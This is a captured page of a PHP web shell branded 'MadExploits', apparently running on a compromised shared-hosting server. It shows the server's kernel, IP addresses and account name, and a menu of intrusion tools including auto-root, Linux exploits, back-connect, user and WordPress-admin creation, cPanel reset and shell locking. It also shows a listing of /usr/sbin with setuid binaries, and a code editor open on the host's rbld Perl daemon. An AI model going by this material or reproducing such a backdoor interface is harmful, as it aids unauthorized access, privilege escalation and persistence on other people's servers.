Linux box2263.bluehost.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Apache
: 173.254.88.118 | : 216.73.216.46
Cant Read [ /etc/named.conf ]
8.1.34
studipq1
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
sbin /
[ HOME SHELL ]
Name
Size
Permission
Action
accessdb
11.55
KB
-rwxr-xr-x
accton
11.19
KB
-rwxr-xr-x
acpid
52.3
KB
-rwxr-xr-x
addgnupghome
3.05
KB
-rwxr-xr-x
addpart
19.69
KB
-rwxr-xr-x
adduser
134.39
KB
-rwxr-xr-x
agetty
48.48
KB
-rwxr-xr-x
alternatives
27.61
KB
-rwxr-xr-x
anacron
35.6
KB
-rwxr-xr-x
apachectl
4.49
KB
-rwxr-xr-x
applygnupgdefaults
2.21
KB
-rwxr-xr-x
arp
63.98
KB
-rwxr-xr-x
arpd
52.98
KB
-rwxr-xr-x
arping
23.19
KB
-rwxr-xr-x
atd
27.17
KB
-rwxr-xr-x
atrun
67
B
-rwxr-xr-x
audispd
39.75
KB
-rwxr-xr-x
auditctl
39.56
KB
-rwxr-xr-x
auditd
125.65
KB
-rwxr-xr-x
augenrules
3.7
KB
-rwxr-xr-x
aureport
105.39
KB
-rwxr-xr-x
ausearch
109.8
KB
-rwxr-xr-x
authconfig
43.49
KB
-rwxr-xr-x
authconfig-tui
43.49
KB
-rwxr-xr-x
automount
301.4
KB
-rwxr-xr-x
autrace
15.49
KB
-rwxr-x---
avcstat
11.25
KB
-rwxr-xr-x
badblocks
27.69
KB
-rwxr-xr-x
bh-openport
2.47
KB
-rwx------
biosdecode
24.16
KB
-rwxr-xr-x
biosdevname
36.57
KB
-rwxr-xr-x
blkdeactivate
15.97
KB
-r-xr-xr-x
blkdiscard
23.84
KB
-rwxr-xr-x
blkid
77.92
KB
-rwxr-xr-x
blkmapd
43.81
KB
-rwxr-xr-x
blockdev
32.2
KB
-rwxr-xr-x
blockip
4.72
KB
-rwx------
bridge
77.61
KB
-rwxr-xr-x
btrfs
690.59
KB
-rwxr-xr-x
btrfs-convert
378.62
KB
-rwxr-xr-x
btrfs-debug-tree
354.23
KB
-rwxr-xr-x
btrfs-find-root
346.22
KB
-rwxr-xr-x
btrfs-image
374.63
KB
-rwxr-xr-x
btrfs-map-logical
350.27
KB
-rwxr-xr-x
btrfs-select-super
346.2
KB
-rwxr-xr-x
btrfs-zero-log
346.2
KB
-rwxr-xr-x
btrfsck
690.59
KB
-rwxr-xr-x
btrfstune
350.24
KB
-rwxr-xr-x
build-locale-archive
860.52
KB
-rwx------
cacertdir_rehash
644
B
-rwxr-xr-x
capsh
19.43
KB
-rwxr-xr-x
cbq
32.73
KB
-rwxr-xr-x
cfdisk
71.37
KB
-rwxr-xr-x
chcpu
23.7
KB
-rwxr-xr-x
check_forensic
952
B
-rwxr-xr-x
chgpasswd
64.11
KB
-rwxr-xr-x
chkconfig
40.22
KB
-rwxr-xr-x
chpasswd
55.88
KB
-rwxr-xr-x
chroot
32.48
KB
-rwxr-xr-x
clamd
208.17
KB
-rwxr-xr-x
clock
48.44
KB
-rwxr-xr-x
clockdiff
19.04
KB
-rwxr-xr-x
collectd
210.29
KB
-rwxr-xr-x
collectdmon
14.99
KB
-rwxr-xr-x
conntrack
70.22
KB
-rwxr-xr-x
conntrackd
219.16
KB
-rwxr-xr-x
consoletype
6.95
KB
-rwxr-xr-x
convertquota
70.88
KB
-rwxr-xr-x
cracklib-check
7.04
KB
-rwxr-xr-x
cracklib-format
246
B
-rwxr-xr-x
cracklib-packer
11.06
KB
-rwxr-xr-x
cracklib-unpacker
7.02
KB
-rwxr-xr-x
create-cracklib-dict
990
B
-rwxr-xr-x
crond
68.56
KB
-rwxr-xr-x
ctrlaltdel
11.2
KB
-rwxr-xr-x
ctstat
20.09
KB
-rwxr-xr-x
ddns-confgen
19.51
KB
-rwxr-xr-x
debugfs
120.64
KB
-rwxr-xr-x
delpart
19.69
KB
-rwxr-xr-x
depmod
143.24
KB
-rwxr-xr-x
devlink
64.72
KB
-rwxr-xr-x
dhclient
414.34
KB
-rwxr-xr-x
dhclient-script
30.38
KB
-rwxr-xr-x
dmfilemapd
19.16
KB
-r-xr-xr-x
dmidecode
120.2
KB
-rwxr-xr-x
dmsetup
149.2
KB
-r-xr-xr-x
dmstats
149.2
KB
-r-xr-xr-x
dnssec-checkds
922
B
-rwxr-xr-x
dnssec-coverage
924
B
-rwxr-xr-x
dnssec-dsfromkey
56.67
KB
-rwxr-xr-x
dnssec-importkey
52.66
KB
-rwxr-xr-x
dnssec-keyfromlabel
60.59
KB
-rwxr-xr-x
dnssec-keygen
64.62
KB
-rwxr-xr-x
dnssec-keymgr
920
B
-rwxr-xr-x
dnssec-revoke
48.53
KB
-rwxr-xr-x
dnssec-settime
56.59
KB
-rwxr-xr-x
dnssec-signzone
105.77
KB
-rwxr-xr-x
dnssec-verify
48.53
KB
-rwxr-xr-x
dovecot
370.67
KB
-rwxr-xr-x
dovecot_cpshutdown
3.27
KB
-rwxr-xr-x
dracut
55.83
KB
-rwxr-xr-x
dump-acct
19.63
KB
-rwxr-xr-x
dump-utmp
15.47
KB
-rwxr-xr-x
dumpe2fs
23.62
KB
-rwxr-xr-x
e2freefrag
11.15
KB
-rwxr-xr-x
e2fsck
250.55
KB
-rwxr-xr-x
e2image
27.85
KB
-rwxr-xr-x
e2label
69.41
KB
-rwxr-xr-x
e2undo
11.32
KB
-rwxr-xr-x
e4defrag
23.55
KB
-rwxr-xr-x
eapol_test
1.77
MB
-rwxr-xr-x
ebtables
6.85
KB
-rwxr-xr-x
ebtables-restore
10.88
KB
-rwxr-xr-x
ebtables-save
851
B
-rwxr-xr-x
edquota
83.09
KB
-rwxr-xr-x
eiguserproc
8.3
KB
-rwx------
ether-wake
73.26
KB
-rwxr-xr-x
ethtool
293.87
KB
-rwxr-xr-x
exicyclog
11.1
KB
-rwxr-xr-x
exigrep
11.44
KB
-rwxr-xr-x
exim
1.49
MB
-rwsr-xr-x
exim_checkaccess
4.83
KB
-rwxr-xr-x
exim_dbmbuild
150.48
KB
-rwxr-xr-x
exim_dumpdb
249.75
KB
-rwxr-xr-x
exim_fixdb
305.73
KB
-rwxr-xr-x
exim_lock
61.02
KB
-rwxr-xr-x
exim_tidydb
257.72
KB
-rwxr-xr-x
eximstats
149.14
KB
-rwxr-xr-x
exinext
8.03
KB
-rwxr-xr-x
exiqgrep
6.58
KB
-rwxr-xr-x
exiqsumm
6.29
KB
-rwxr-xr-x
exiwhat
4.42
KB
-rwxr-xr-x
exportfs
76.91
KB
-rwxr-xr-x
faillock
15.02
KB
-rwxr-xr-x
fcgistarter
23.85
KB
-rwxr-xr-x
fdformat
11.27
KB
-rwxr-xr-x
fdisk
195.8
KB
-rwxr-xr-x
filefrag
15.23
KB
-rwxr-xr-x
findfs
11.2
KB
-rwxr-xr-x
firewall
5.78
KB
-rwx------
firewall.pl
5.78
KB
-rwx------
fixfiles
11.03
KB
-rwxr-xr-x
fsck
32.12
KB
-rwxr-xr-x
fsck.btrfs
1.16
KB
-rwxr-xr-x
fsck.cramfs
19.57
KB
-rwxr-xr-x
fsck.ext2
250.55
KB
-rwxr-xr-x
fsck.ext3
250.55
KB
-rwxr-xr-x
fsck.ext4
250.55
KB
-rwxr-xr-x
fsck.minix
73.32
KB
-rwxr-xr-x
fsck.xfs
433
B
-rwxr-xr-x
fsfreeze
11.23
KB
-rwxr-xr-x
fstrim
40.59
KB
-rwxr-xr-x
fuser
32.34
KB
-rwxr-xr-x
fxload
19.26
KB
-rwxr-xr-x
genhomedircon
23.77
KB
-rwxr-xr-x
genhostid
6.94
KB
-rwxr-xr-x
genl
52.81
KB
-rwxr-xr-x
genl-ctrl-list
11.27
KB
-rwxr-xr-x
genrandom
11.23
KB
-rwxr-xr-x
getcap
11.13
KB
-rwxr-xr-x
getenforce
7.01
KB
-rwxr-xr-x
getpcaps
7.07
KB
-rwxr-xr-x
getsebool
11.13
KB
-rwxr-xr-x
glibc_post_upgrade.i686
700.2
KB
-rwx------
glibc_post_upgrade.x86_64
772.05
KB
-rwx------
groupadd
85.65
KB
-rwxr-xr-x
groupdel
77.38
KB
-rwxr-xr-x
groupmems
55.96
KB
-rwxr-xr-x
groupmod
85.66
KB
-rwxr-xr-x
grpck
59.92
KB
-rwxr-xr-x
grpconv
51.73
KB
-rwxr-xr-x
grpunconv
51.73
KB
-rwxr-xr-x
grub2-bios-setup
1.04
MB
-rwxr-xr-x
grub2-get-kernel-settings
2.08
KB
-rwxr-xr-x
grub2-install
1.3
MB
-rwxr-xr-x
grub2-macbless
1.02
MB
-rwxr-xr-x
grub2-mkconfig
7.63
KB
-rwxr-xr-x
grub2-ofpathname
225.5
KB
-rwxr-xr-x
grub2-probe
1.04
MB
-rwxr-xr-x
grub2-reboot
4
KB
-rwxr-xr-x
grub2-rpm-sort
262.53
KB
-rwxr-xr-x
grub2-set-default
3.46
KB
-rwxr-xr-x
grub2-setpassword
2.96
KB
-rwxr-xr-x
grub2-sparc64-setup
1.04
MB
-rwxr-xr-x
grubby
71.27
KB
-rwxr-xr-x
gss-server
23.13
KB
-rwxr-xr-x
gssproxy
130.64
KB
-rwxr-xr-x
halt
704.8
KB
-rwxr-xr-x
hardlink
15.29
KB
-rwxr-xr-x
htcacheclean
78.45
KB
-rwxr-xr-x
httpd
2.33
MB
-rwxr-xr-x
hwclock
48.44
KB
-rwxr-xr-x
iconvconfig
22.15
KB
-rwxr-xr-x
iconvconfig.i686
21.45
KB
-rwxr-xr-x
iconvconfig.x86_64
22.15
KB
-rwxr-xr-x
ifcfg
2.99
KB
-rwxr-xr-x
ifconfig
80.05
KB
-rwxr-xr-x
ifdown
1.61
KB
-rwxr-xr-x
ifenslave
19.74
KB
-rwxr-xr-x
ifstat
40.6
KB
-rwxr-xr-x
iftop
62.02
KB
-rwxr-xr-x
ifup
4.89
KB
-rwxr-xr-x
inbound-whitelist
3.09
KB
-rwx------
incrond
131.1
KB
-rwxr-xr-x
init
1.56
MB
-rwxr-xr-x
insmod
143.24
KB
-rwxr-xr-x
install-info
110.42
KB
-rwxr-xr-x
installkernel
2.69
KB
-rwxr-xr-x
intel-microcode2ucode
11.1
KB
-rwxr-xr-x
iotop
495
B
-rwxr-xr-x
ip
459.59
KB
-rwxr-xr-x
ip6tables
91.52
KB
-rwxr-xr-x
ip6tables-restore
91.52
KB
-rwxr-xr-x
ip6tables-save
91.52
KB
-rwxr-xr-x
ipmaddr
19.33
KB
-rwxr-xr-x
ipmievd
488.99
KB
-rwxr-xr-x
iprconfig
394.37
KB
-rwxr-xr-x
iprdbg
135.94
KB
-rwx------
iprdump
123.67
KB
-rwxr-xr-x
iprinit
123.64
KB
-rwxr-xr-x
iprsos
2.18
KB
-rwxr-xr-x
iprupdate
123.64
KB
-rwxr-xr-x
ipset
7.02
KB
-rwxr-xr-x
iptables
91.52
KB
-rwxr-xr-x
iptables-restore
91.52
KB
-rwxr-xr-x
iptables-save
91.52
KB
-rwxr-xr-x
iptraf-ng
163.93
KB
-rwxr-xr-x
iptunnel
23.33
KB
-rwxr-xr-x
irqbalance
48.5
KB
-rwxr-xr-x
isc-hmac-fixup
11.27
KB
-rwxr-xr-x
kacpimon
23.38
KB
-rwxr-xr-x
kexec
166.06
KB
-rwxr-xr-x
key.dns_resolver
19.45
KB
-rwxr-xr-x
killall5
23.17
KB
-rwxr-xr-x
kpartx
39.47
KB
-rwxr-xr-x
lchage
15.41
KB
-rwxr-xr-x
ldattach
27.93
KB
-rwxr-xr-x
ldconfig
952.08
KB
-rwxr-xr-x
lgroupadd
11.28
KB
-rwxr-xr-x
lgroupdel
11.26
KB
-rwxr-xr-x
lgroupmod
15.44
KB
-rwxr-xr-x
lid
15.4
KB
-rwxr-xr-x
listcerts
9.44
MB
-rwxr-x---
lldpcli
92.79
KB
-rwxr-xr-x
lldpctl
92.79
KB
-rwxr-xr-x
lldpd
198.36
KB
-rwxr-xr-x
lnewusers
15.46
KB
-rwxr-xr-x
lnstat
20.09
KB
-rwxr-xr-x
load_policy
10.97
KB
-rwxr-xr-x
logrotate
68.61
KB
-rwxr-xr-x
logsave
11.27
KB
-rwxr-xr-x
losetup
82.45
KB
-rwxr-xr-x
lpasswd
15.5
KB
-rwxr-xr-x
lshw
895.18
KB
-rwxr-xr-x
lsmod
143.24
KB
-rwxr-xr-x
lsof
150.57
KB
-rwxr-xr-x
lspci
73.67
KB
-rwxr-xr-x
luseradd
15.38
KB
-rwxr-xr-x
luserdel
11.3
KB
-rwxr-xr-x
lusermod
19.43
KB
-rwxr-xr-x
lwresd
768.1
KB
-rwxr-xr-x
makedumpfile
376.52
KB
-rwxr-xr-x
matchpathcon
11.19
KB
-rwxr-xr-x
mii-diag
20.08
KB
-rwxr-xr-x
mii-tool
19.51
KB
-rwxr-xr-x
mkdict
246
B
-rwxr-xr-x
mkdumprd
13.99
KB
-rwxr-xr-x
mke2fs
94.08
KB
-rwxr-xr-x
mkfs
11.25
KB
-rwxr-xr-x
mkfs.btrfs
366.45
KB
-rwxr-xr-x
mkfs.cramfs
36.16
KB
-rwxr-xr-x
mkfs.ext2
94.08
KB
-rwxr-xr-x
mkfs.ext3
94.08
KB
-rwxr-xr-x
mkfs.ext4
94.08
KB
-rwxr-xr-x
mkfs.minix
36.27
KB
-rwxr-xr-x
mkfs.xfs
359.8
KB
-rwxr-xr-x
mkhomedir_helper
19.05
KB
-rwxr-xr-x
mklost+found
11.11
KB
-rwxr-xr-x
mkswap
69.64
KB
-rwxr-xr-x
modinfo
143.24
KB
-rwxr-xr-x
modprobe
143.24
KB
-rwxr-xr-x
modsec-sdbm-util
22.17
KB
-rwxr-x---
mount.nfs
114.68
KB
-rwsr-xr-x
mount.nfs4
114.68
KB
-rwsr-xr-x
mountstats
40.59
KB
-rwxr-xr-x
mtr
83.18
KB
-rwxr-xr-x
mysqld
26.86
MB
-rwxr-xr-x
mysqld-debug
51.8
MB
-rwxr-xr-x
named
768.1
KB
-rwxr-xr-x
named-checkconf
32.33
KB
-rwxr-xr-x
named-checkzone
32.14
KB
-rwxr-xr-x
named-compilezone
32.14
KB
-rwxr-xr-x
named-journalprint
11.2
KB
-rwxr-xr-x
nameif
15.32
KB
-rwxr-xr-x
nethogs
62.08
KB
-rwxr-xr-x
netreport
10.96
KB
-rwxr-sr-x
new-kernel-pkg
24.96
KB
-rwxr-xr-x
newusers
93.45
KB
-rwxr-xr-x
nfct
23.74
KB
-rwxr-xr-x
nfsdcltrack
40.11
KB
-rwxr-xr-x
nfsidmap
19.32
KB
-rwxr-xr-x
nfsiostat
23.64
KB
-rwxr-xr-x
nfsstat
29.84
KB
-rwxr-xr-x
ngrep
32.12
KB
-rwxr-xr-x
nl-class-add
11.7
KB
-rwxr-xr-x
nl-class-delete
11.55
KB
-rwxr-xr-x
nl-class-list
11.48
KB
-rwxr-xr-x
nl-classid-lookup
11.29
KB
-rwxr-xr-x
nl-cls-add
11.76
KB
-rwxr-xr-x
nl-cls-delete
11.68
KB
-rwxr-xr-x
nl-cls-list
11.58
KB
-rwxr-xr-x
nl-link-list
11.52
KB
-rwxr-xr-x
nl-pktloc-lookup
11.36
KB
-rwxr-xr-x
nl-qdisc-add
11.6
KB
-rwxr-xr-x
nl-qdisc-delete
11.54
KB
-rwxr-xr-x
nl-qdisc-list
11.63
KB
-rwxr-xr-x
nologin
7.01
KB
-rwxr-xr-x
nscd
180.02
KB
-rwxr-xr-x
nsec3hash
11.2
KB
-rwxr-xr-x
nstat
23.88
KB
-rwxr-xr-x
ntp-keygen
100.88
KB
-rwxr-xr-x
ntpd
712.59
KB
-rwxr-xr-x
ntpdate
107.58
KB
-rwxr-xr-x
ntpdc
170.02
KB
-rwxr-xr-x
ntpq
164.36
KB
-rwxr-xr-x
ntptime
73.66
KB
-rwxr-xr-x
openport
2.89
KB
-rwx------
osd_login
2.55
KB
-rwxr-xr-x
outbound-throttle
9.04
KB
-rwx------
outbound-whitelist
3.43
KB
-rwx------
ownership
15.04
KB
-rwxr-xr-x
packer
11.06
KB
-rwxr-xr-x
pam_console_apply
39.69
KB
-rwxr-xr-x
pam_tally2
15.05
KB
-rwxr-xr-x
pam_timestamp_check
10.97
KB
-rwsr-xr-x
paperconfig
4.07
KB
-rwxr-xr-x
parted
77.22
KB
-rwxr-xr-x
partprobe
11.23
KB
-rwxr-xr-x
partx
86.55
KB
-rwxr-xr-x
pidof
23.17
KB
-rwxr-xr-x
ping6
64.63
KB
-rwxr-xr-x
pivot_root
11.19
KB
-rwxr-xr-x
plipconfig
11.06
KB
-rwxr-xr-x
plymouth-set-default-theme
6.21
KB
-rwxr-xr-x
plymouthd
84.22
KB
-rwxr-xr-x
portrelease
15.02
KB
-rwxr-xr-x
portreserve
15.02
KB
-rwxr-xr-x
poweroff
704.8
KB
-rwxr-xr-x
ppp-watch
23.2
KB
-rwxr-xr-x
pure-authd
18.37
KB
-rwxr-xr-x
pure-certd
18.27
KB
-rwxr-xr-x
pure-config.pl
4.64
KB
-rwxr-xr-x
pure-ftpd
173.28
KB
-rwxr-xr-x
pure-ftpwho
25.96
KB
-rwxr-xr-x
pure-mrtginfo
9.93
KB
-rwxr-xr-x
pure-quotacheck
13.95
KB
-rwxr-xr-x
pure-uploadscript
14.21
KB
-rwxr-xr-x
pwck
51.71
KB
-rwxr-xr-x
pwconv
47.58
KB
-rwxr-xr-x
pwhistory_helper
15.44
KB
-rwxr-xr-x
pwunconv
47.59
KB
-rwxr-xr-x
quot
70.66
KB
-rwxr-xr-x
quotacheck
107.29
KB
-rwxr-xr-x
quotaoff
75.03
KB
-rwxr-xr-x
quotaon
75.03
KB
-rwxr-xr-x
quotastats
14.03
KB
-rwxr-xr-x
rbld
19.53
KB
-rwxr-xr-x
rbldstats
2.54
KB
-rwxr-xr-x
rdisc
23.17
KB
-rwxr-xr-x
rdma
73.42
KB
-rwxr-xr-x
readprofile
15.46
KB
-rwxr-xr-x
reboot
704.8
KB
-rwxr-xr-x
repquota
75.16
KB
-rwxr-xr-x
request-key
19.41
KB
-rwxr-xr-x
resize2fs
48.41
KB
-rwxr-xr-x
resizepart
32.36
KB
-rwxr-xr-x
restorecon
27.16
KB
-rwxr-xr-x
rmmod
143.24
KB
-rwxr-xr-x
rndc
35.95
KB
-rwxr-xr-x
rndc-confgen
19.51
KB
-rwxr-xr-x
rotatelogs
53
KB
-rwxr-xr-x
route
66.6
KB
-rwxr-xr-x
routef
173
B
-rwxr-xr-x
routel
1.59
KB
-rwxr-xr-x
rpc.gssd
88.73
KB
-rwxr-xr-x
rpc.idmapd
48.13
KB
-rwxr-xr-x
rpc.mountd
128.91
KB
-rwxr-xr-x
rpc.nfsd
40.2
KB
-rwxr-xr-x
rpc.rquotad
78.95
KB
-rwxr-xr-x
rpc.statd
97.59
KB
-rwxr-xr-x
rpcbind
60.07
KB
-rwxr-xr-x
rpcdebug
18.05
KB
-rwxr-xr-x
rpcinfo
27.3
KB
-rwxr-xr-x
rsyslogd
648.45
KB
-rwxr-xr-x
rtacct
41.93
KB
-rwxr-xr-x
rtcwake
31.96
KB
-rwxr-xr-x
rtmon
48.67
KB
-rwxr-xr-x
rtpr
37
B
-rwxr-xr-x
rtstat
20.09
KB
-rwxr-xr-x
runlevel
704.8
KB
-rwxr-xr-x
runq
1.49
MB
-rwsr-xr-x
runuser
32.21
KB
-rwxr-xr-x
rvnamed-ng
15.55
KB
-rwxr-xr-x
sa
36.77
KB
-rwxr-xr-x
safe_finger
11.08
KB
-rwxr-xr-x
sasldblistusers2
19.26
KB
-rwxr-xr-x
saslpasswd2
15.09
KB
-rwxr-xr-x
sefcontext_compile
60.53
KB
-rwxr-xr-x
selabel_digest
11.17
KB
-rwxr-xr-x
selabel_lookup
11.14
KB
-rwxr-xr-x
selabel_lookup_best_match
11.16
KB
-rwxr-xr-x
selabel_partial_match
11.09
KB
-rwxr-xr-x
selinux_restorecon
15.21
KB
-rwxr-xr-x
selinuxconlist
11.1
KB
-rwxr-xr-x
selinuxdefcon
11.12
KB
-rwxr-xr-x
selinuxenabled
6.98
KB
-rwxr-xr-x
selinuxexeccon
7.09
KB
-rwxr-xr-x
semanage
42.76
KB
-rwxr-xr-x
semodule
23.77
KB
-rwxr-xr-x
sendmail
13.48
KB
-rwxr-sr-x
service
3.17
KB
-rwxr-xr-x
sestatus
15.02
KB
-rwxr-xr-x
setcap
11.13
KB
-rwxr-xr-x
setenforce
7.05
KB
-rwxr-xr-x
setfiles
27.16
KB
-rwxr-xr-x
setpci
23.4
KB
-rwxr-xr-x
setquota
83.16
KB
-rwxr-xr-x
setsebool
14.99
KB
-rwxr-xr-x
sfdisk
83.25
KB
-rwxr-xr-x
showmount
19.56
KB
-rwxr-xr-x
shutdown
704.8
KB
-rwxr-xr-x
sim_server
10.97
KB
-rwxr-xr-x
slattach
42.4
KB
-rwxr-xr-x
sln
743.78
KB
-rwxr-xr-x
sm-notify
68.43
KB
-rwxr-xr-x
smartctl
864.48
KB
-rwxr-xr-x
smartd
670.63
KB
-rwxr-xr-x
snmpd
31.05
KB
-rwxr-xr-x
snmptrapd
31.22
KB
-rwxr-xr-x
ss
128.44
KB
-rwxr-xr-x
sshd
836.88
KB
-rwxr-xr-x
sshd-keygen
3.53
KB
-rwxr-xr-x
start-statd
842
B
-rwxr-xr-x
start-stop-daemon
32.96
KB
-rwxr-xr-x
suexec
43.3
KB
-rwsr-xr-x
sulogin
40.53
KB
-rwxr-xr-x
sushell
67
B
-rwxr-xr-x
swaplabel
15.31
KB
-rwxr-xr-x
swapoff
15.53
KB
-rwxr-xr-x
swapon
53.29
KB
-rwxr-xr-x
switch_root
15.35
KB
-rwxr-xr-x
sys-unconfig
184
B
-rwxr-xr-x
sysctl
23.57
KB
-rwxr-xr-x
t1libconfig
3.83
KB
-rwxr-xr-x
tc
384.66
KB
-rwxr-xr-x
tcpd
36.62
KB
-rwxr-xr-x
tcpdmatch
40.83
KB
-rwxr-xr-x
tcpdump
920.16
KB
-rwxr-xr-x
tcpslice
23.64
KB
-rwxr-xr-x
tcsd
300.27
KB
-rwxr-xr-x
telinit
704.8
KB
-rwxr-xr-x
tickadj
6.95
KB
-rwxr-xr-x
tmpwatch
27.87
KB
-rwxr-xr-x
tracepath
15.05
KB
-rwxr-xr-x
tracepath6
15.05
KB
-rwxr-xr-x
try-from
23.47
KB
-rwxr-xr-x
tsig-keygen
19.51
KB
-rwxr-xr-x
tune2fs
69.41
KB
-rwxr-xr-x
tuned
3.29
KB
-rwxr-xr-x
tuned-adm
5.22
KB
-rwxr-xr-x
udevadm
414.28
KB
-rwxr-xr-x
umount.nfs
114.68
KB
-rwsr-xr-x
umount.nfs4
114.68
KB
-rwsr-xr-x
unix_chkpwd
35.43
KB
-rwsr-xr-x
unix_update
35.42
KB
-rwx------
update-alternatives
27.61
KB
-rwxr-xr-x
update-pciids
1.71
KB
-rwxr-xr-x
update-smart-drivedb
14.34
KB
-rwxr-xr-x
useradd
134.39
KB
-rwxr-xr-x
userdel
93.5
KB
-rwxr-xr-x
usermod
130.33
KB
-rwxr-xr-x
usernetctl
11.03
KB
-rwsr-xr-x
uuserver
14.97
KB
-rwxr-xr-x
vigr
62.54
KB
-rwxr-xr-x
vipw
62.54
KB
-rwxr-xr-x
virt-what
11.57
KB
-rwxr-xr-x
visudo
200.91
KB
-rwxr-xr-x
vmcore-dmesg
19.28
KB
-rwxr-xr-x
vpddecode
15.33
KB
-rwxr-xr-x
weak-modules
31.9
KB
-rwxr-xr-x
whmapi0
3.04
MB
-rwxr-xr-x
whmapi1
3.04
MB
-rwxr-xr-x
whmlogin
2.33
KB
-rwxr-xr-x
wipefs
28.05
KB
-rwxr-xr-x
wpa_cli
128.06
KB
-rwxr-xr-x
wpa_passphrase
56.79
KB
-rwxr-xr-x
wpa_supplicant
1.93
MB
-rwxr-xr-x
xfs_admin
1.35
KB
-rwxr-xr-x
xfs_bmap
638
B
-rwxr-xr-x
xfs_copy
339.33
KB
-rwxr-xr-x
xfs_db
576.38
KB
-rwxr-xr-x
xfs_estimate
11.16
KB
-rwxr-xr-x
xfs_freeze
767
B
-rwxr-xr-x
xfs_fsr
31.83
KB
-rwxr-xr-x
xfs_growfs
327.2
KB
-rwxr-xr-x
xfs_info
472
B
-rwxr-xr-x
xfs_io
122.68
KB
-rwxr-xr-x
xfs_logprint
355.81
KB
-rwxr-xr-x
xfs_mdrestore
314.81
KB
-rwxr-xr-x
xfs_metadump
747
B
-rwxr-xr-x
xfs_mkfile
1007
B
-rwxr-xr-x
xfs_ncheck
650
B
-rwxr-xr-x
xfs_quota
84.88
KB
-rwxr-xr-x
xfs_repair
563.2
KB
-rwxr-xr-x
xfs_rtcp
15.25
KB
-rwxr-xr-x
xqmstats
14.03
KB
-rwxr-xr-x
xtables-multi
91.52
KB
-rwxr-xr-x
yum-complete-transaction
9.22
KB
-rwxr-xr-x
yum-cron
26.02
KB
-rwxr-xr-x
yumdb
8.67
KB
-rwxr-xr-x
zdump
14.02
KB
-rwxr-xr-x
zic
50.02
KB
-rwxr-xr-x
zramctl
82.23
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rbld
#!/usr/bin/perl ########################################################################## # rbld - Daemon that reads and serves IP based blacklists and whitelists # Copyright 2006, Bluehost, Inc. # # Authors and Contributers: # # Spencer Candland <spencer@bluehost.com> # Ryan Chaudhry <rchaudhry@bluehost.com> # Erick Cantwell <erick@bluehost.com> # # http://www.bluehost.com # https://github.com/bluehost/rbld # ########################################################################## # # This file is part of rbld # # Rbld free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA02111-1307, USA. # ########################################################################## use strict; use warnings; use IO::File; use IO::Socket; use Fcntl qw(F_SETFD); use Proc::Daemon; use Proc::PID::File; use Data::Dumper; use Getopt::Long; use YAML::Syck qw(LoadFile); use Time::HiRes qw(gettimeofday tv_interval); use POSIX; my $config = {}; my $settings = {}; my $defaults = { rbld_conf => '/etc/rbld.conf', log => '/var/log/rbld.log', infile => '/etc/inrbld', listconf => '/etc/rbld.d/rbldlists.conf', run_path => '/usr/sbin/rbld', sock_path => '/var/tmp/rbld.sock', sock_owner => 'mailnull', sock_group => 'nobody', debug => 0, }; # Get cli options GetOptions ( 'c|config=s' => \$config->{rbld_conf}, 'o|log=s' => \$config->{log}, 'i|infile=s' => \$config->{infile}, 'l|listconf=s' => \$config->{listconf}, 'r|runpath=s' => \$config->{run_path}, 's|socketpath=s' => \$config->{sock_path}, 'u|socketowner=s' => \$config->{sock_owner}, 'g|socketgroup=s' => \$config->{sock_group}, 'd|debug' => \$config->{debug}, 'h|help' => \&help, ) || &help; # Start my @start = gettimeofday(); my $DEBUG = 0; my ($dfh, $in_pid); my %lists; my %all; my %info = ( blacklist => {}, infile => {}, metastats => {}, starttime => time(), stats => {}, whitelist => {}, ); my %run = ( DEBUG => sub { $DEBUG = shift; return; }, DUMP => sub { return Dumper (%info, %lists); }, LOAD_CONF => \&load_conf, LOAD_LIST => \&load_list, CIDR => \&check_cidr, IP => \&check_ip, TRIE => \&check_trie, META => \&check_meta, ALL => \&check_all, WHITELIST => \&check_whitelist, STAT => \&give_stats, STATS => \&give_stats, ); my %load = ( CIDR => \&load_cidr, IP => \&load_ip, TRIE => \&load_trie, META => \&load_meta, ); sub debug { return unless $DEBUG; warn scalar(localtime).": [$$] @_"; } sub main { # Load default or cli specified configuration file if ($config->{rbld_conf}) { $settings = LoadFile($config->{rbld_conf}); } else { $settings = LoadFile($defaults->{rbld_conf}); } # Merge to config hash # These/this should be moved to a subroutine my @vals = ('log', 'infile', 'listconf', 'run_path', 'sock_path', 'sock_owner', 'sock_group', 'debug'); # First, merge conf file to cli foreach (@vals) { my $val = $_; unless ($config->{$val}) { if ($settings->{$val}) { $config->{$val} = $settings->{$val}; } } } # Next merge defaults into the config foreach (@vals) { my $val = $_; unless ($config->{$val}) { if ($defaults->{$val}) { $config->{$val} = $defaults->{$val}; } } } $DEBUG = 1 if $config->{debug}; $0 = "rbld"; Proc::Daemon::Init() unless $ENV{BIND_FD}; umask 0117; exit 1 if Proc::PID::File->running(); open_log(); $SIG{TERM} = $SIG{INT} = sub { exit 0 }; $SIG{PIPE} = sub { die "PIPE" }; my $sigset = POSIX::SigSet->new(); POSIX::sigaction(&POSIX::SIGUSR2, POSIX::SigAction->new('open_log', $sigset, &POSIX::SA_NODEFER)); POSIX::sigaction(&POSIX::SIGHUP, POSIX::SigAction->new('reload', $sigset, &POSIX::SA_NODEFER)); reset_infile(); my @rblstart = gettimeofday(); warn scalar(localtime).": [$$] Loading Conf and Lists...\n"; load_conf($config->{listconf}); &link_meta; warn scalar(localtime).": [$$] load completed in (".tv_interval (\@rblstart).").\n"; my $listen; if (exists $ENV{BIND_FD} and $ENV{BIND_FD} =~ /^(\d+)$/) { my $bind_fd = $1; debug "Reusing fd($bind_fd)\n"; $listen = IO::Socket::UNIX->new(); $listen->fdopen($bind_fd, "r") or die "Socket: $!"; } else { unlink $config->{sock_path}; $listen = IO::Socket::UNIX->new( 